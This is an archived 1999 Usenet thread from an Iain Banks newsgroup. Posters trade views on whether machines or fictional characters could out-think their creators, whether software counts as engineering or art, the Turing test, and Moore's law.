| <URL:http://www.dur.ac.uk/~dbl1szh/index.html> |
"God's teeth, sirrah, beshrew me, but I'll put it to thee plain,
thy man's but a mewling, doddering old puppet of the military-industrial
complex" -- Peter Beagle, _The Folk Of The Air_
<JAVA5CRIPT>
runmacro:forgettomentioniainbanks
</JAVA5CRIPT>
Simon J Grimshaw
> NNTP-Posting-Host: altair.dur.ac.uk
> X-Newsreader: TIN [version 1.2 PL2]
> Xref: pegasus.csx.cam.ac.uk alt.books.iain-banks:7453
>
> @news.virgin.net> <7d5qv5$dgd$1...@flex.london.pipex.net> <36f81852...@news.dabsol.net> <Pine.SOL.3.95.990324112125.16744B-100000@harrier> <36fa9ac...@news.freeserve.net> <7dnuja$br6$1...@news.iinet.net.au> <36FFB1D4...@Dial.Pipex.com> Organizat
>
> ion: University of Cambridge <7dq744$2h9$1...@pegasus.csx.cam.ac.uk>
> Reply-To: s.z.hanl...@durham.ac.uk
> Distribution:
>
> Simon J Grimshaw (sj...@bioc.cam.ac.uk) sprayed forth the following
> dewlike droplets:
> [lots of interesting stuff on AI snipped]
> : Is it actually possibly to create something more intelligent than
> : yourself?
> I'm not being fatuous but isn't that exactly what Mr and Mrs Newton, Mr
> and Mrs Einstein, even in a certain and unpleasant way, Mr and Mrs Hitler
> did?
Ah yes, but they would be people not computers; I'm not debating whether
or not living material progresses towards some higher state, but whether a
machine created by one of us could actually be 'cleverer' than us. Einstein/
Newton came up with new insights because a quirk in their brains allowed them to
view a problem in a new way, so they arrived at new insights; without similar
forms of development I don't see how a computer could perform a similar feat.
Genetic programming was mentioned in the snipped bit, and this sounds like what
I'm driving at; computers don't replicate or have random bits of code mixing and
matching when new programs are made, for the good reason that it's a really
stupidly inefficient way to develop things (at least at the speeds that our
generations last; if we replicated as fast as some bacteria it would be better,
and at computer speeds maybe it is a decent proposition).
Making a deeply speciest comment and saying that humankind represents
the most advanced creation on planet earth, it's taken a hell of
a long time for evolution to come up with us.
Could a computer be made that was 'smarter' than Einstein? Damn, there
goes that definition of intelligence thing again...
Right, I'll boil off all my bullshit and say: could we create a machine
that would be a better problem solver (not simply faster, but actually able to
work on something a human (and specifically its creator) did not understand)?
If it were, then I'd say that a Banksian 'Mind' would be a few seconds from
creation. Once the first all singing all dancing problem solver turns up, you
say "Right matey, think you're so smart, make something better than yourself" and
off it goes...
Off topic, but as Emo Phillips said "My computer beat me at chess; but it
was no match for me at kick-boxing..."
This is a variant on one of the arguments against the existence of
> God (that he would have to be more complicated than his creation, thereby
> more than doubling the amount of things you have to explain the creation
> of, therefore beginning an infinite regress, therefore disproved) but,
> while a fairly militant athiest, I can't support that reasoning.
Yeah, all you have to do is assume God is pretty damn smart and made the
world such that it couldn't ever understand Him (Her... It... Them...); who'd
want some upstart creation knocking on your celestial door a few millenia later
with a list of complaints?
Hmmm, true. Think I'm also confusing imagination with intelligence; I
was about to say that when something happens in a book that makes me think "Wow,
I'd never have thought of that!" often I think "This author must be clever to
have thought that up" whereas really all you require is a good imagination.
Indeed, as you say faking character intelligence requires little more than "After
solving the Grand Unified Theory, Jeffery decided to celebrate with a round of
golf." I think the kind of thing I'm driving at is... errrmm... actually I
can't think of an example off hand! It happened a few times during the Gap series
by Stephen Donaldson, where characters thought of things or worked things out
that I hadn't spotted at all. Guess it's very subjective; maybe I just
announced to the usenet that I'm a thicky.
> You could also set up a situation so obscure, complex and/or arcane that
> most readers cannot easily fully comprehend all the ramifications while
> simultaneously keeping up with events in the story. Then have your genius
> solve it. See any detective fiction that is not merely a police
> procedural, especially the locked-room-murder variety.
Ah yes, the Gap series definitely fitted into this!
> Is it more difficult to create a character more intelligent than yourself
> than to create a character more perverse than yourself (another glance at
> The Wasp Factory!)? More saintly? More refined? More outgoing? More
> artistic? More noble?
I'd say that being more xxxx where xxxx is an emotion would be simpler
than intelligence. Characters are fractions (factions? ;) ) of the author, so
all you have to do for a happier character would be to ignore all your depressive
bits and think happy happy joy joy whilst dealing with Mr. Smiley.
So for an intelligent author to deal with a character who isn't supposed
to be the sharpest knife in the drawer he simply has to turn bits of himself off
(metaphorically speaking). But can he think of things that his genius
character should think up?
> Of course, in all this it would be more accurate to replace 'create a
> character more xxxx' with 'create a character who gives the impression to
> most readers that the character is more xxxx'. Impressions are
> everything when characters aren't real people. [insert objection to
> whole philosophy of the Turing Test here]
> --
> Zac
> | [Omit omnivourous mammal to reply] |
> | <URL:http://www.dur.ac.uk/~dbl1szh/index.html> |
> "God's teeth, sirrah, beshrew me, but I'll put it to thee plain,
> thy man's but a mewling, doddering old puppet of the military-industrial
> complex" -- Peter Beagle, _The Folk Of The Air_
> <JAVA5CRIPT>
> runmacro:forgettomentioniainbanks
> </JAVA5CRIPT>
__
Simon
Doktor
Mike Trinder wrote in message ...
>In article <36f81852...@news.dabsol.net>, ros...@nojam.com (Ross
>Burton) wrote:
>
>> Also, it definity is engineering. Software Patterns, the framework
>> for sensible programmers (use common ideas which have been used
>> before, with names such as Iterator, Observer, Proxy and Bridge) is
>> highly based on the work by an architect (of buildings), forgot the
>> name, who wrote a seminal book many years ago.
>
>Christopher Alexander, 'A Pattern Language'. Funny thing is that this got
>taken up by software engineers, but hardly at all by architects -
>Alexander proposes an engineering type approach to architectural problem
>solving (define problem -> propose solution) which is completely at odds
>with the architectural approach (produce solutions -> work out what the
>problem is).
>
So architecture and software are rather different then. Which undermines the
original proposition that software is engineering, at least insofar as is
demonstrated by this example. But I do like the comparison with architecture.
"Architecture" in the software sense is something that any good programmer
should think about, the trouble is that some people can't differentiate
between code that works and code that is well-structured. For me, it is as
much an aesthetic judgement as a technical one, hence I like to think there is
an artistic element to writing code.
I tend to shy away from the software-is-engineering point-of-view but I think
it's mainly because I felt that my university departmrnt was suffering from
"engineering envy" instead of realising that they had a distict discipline of
there own.
I'm not sure that software is wholly art or engineering, but I do think it has
elements in common with both.
d0ktor
Spencer Davies
<gben...@birdcameron.com.au> wrote:
>First I would say that software doesn't evolve (excepting genetic
Hmmm, picky!
I meant evolve in the wider sense of change.
>hs little or no chance of producing intelligence. To do that you would have
>to be able to define it!
True enough and even philosophers of note have difficulty (i.e. they
don't agree) with this concept.
Spencer
--------------------------------------------------------------------------------
Spencer Davies
<Matthew....@Dial.Pipex.com> wrote:
>Turing test as a judge, if an AI can pass it then it is intelligent. I
>would also be happy to pronounce something that passed only a sub-domain
>of the Turing test as intelligent but that would depend on the specifics.
Hmmm, this possibly smacks of desperation (i.e. I am not sure we will
achieve AI so I will allow a small subset to act as a positive ;-)
>analysis/mineral predictor; neural networks doing lots of stuff (optical
>character recognition, voice recognition). That's not even mentioning
>evolutionary based systems and fuzzy logic.
I must admit, you have gone beyond me here. :-)
>Brooks and Maggie Bowden to find more optimistic perspectives. Ignore
>Professor Warwick he's lost it! (AI's taking over in 20 years, etc).
Possibly he is getting confused with more intelligent systems which
will be available in the next 20 years but these could not possibly be
defined as AI.
>I see no reason why something of incredible intelligence, like a Mind, is
>not possible. As long as the Human race can stick around for long enough.
One problem I see is that the current software engineering approach
couldn't really achieve AI because of the limitation of computing
power fast approaching. Possibly to fit AI within this limitation we
need a new radical approach the the SE discipline (all IMHO of
course).
>explain the 'theory of everything' to our puny carbon brains. But here I'm
>invading Douglas Adam's territory - one thing's for sure we need more than
>forty-two on the subject.
;-)
>Spot the AI graduate.
Would never have guessed :-)
Graduate of the University of life...
David Navarro
>
> >I see no reason why something of incredible intelligence, like a Mind, is
> >not possible. As long as the Human race can stick around for long enough.
> One problem I see is that the current software engineering approach
> couldn't really achieve AI because of the limitation of computing
> power fast approaching.
Care to elaborate on that? AFAIK, Moore's law is in pretty good
health, and if they pull off computing at a molecular level, which is
within sight (I'm not necessarily talking about the fabled quantum
computers, more like molecular gates and switches), Moore's law would
have to be revised *upwards* if anything...
--
___________________________________________________
David Navarro http://www.alcaudon.com
___________________________________________________
In the beginning there was nothing, which exploded.
-Terry Pratchett
Spencer Davies
<dna...@anim.dreamworks.com> wrote:
>Care to elaborate on that? AFAIK, Moore's law is in pretty good
What I was getting at is with the current systems approach and
programming practise we couldn't really achive true AI.
Most software at the moment is very inefficient of the hardware
available!
>computers, more like molecular gates and switches), Moore's law would
>have to be revised *upwards* if anything...
Yes, these are all theoretically possible but once such levels are
achieved the chances are the software will achieve relatively little,
putting the extra resources available to little actual use.
We concentrate too much on items such as GUI's and better reusability
which (I believe) helps to squander the resources available to us.
This approach is fine whilst the limits of Moores Law are in the
future but once we approach that end then what???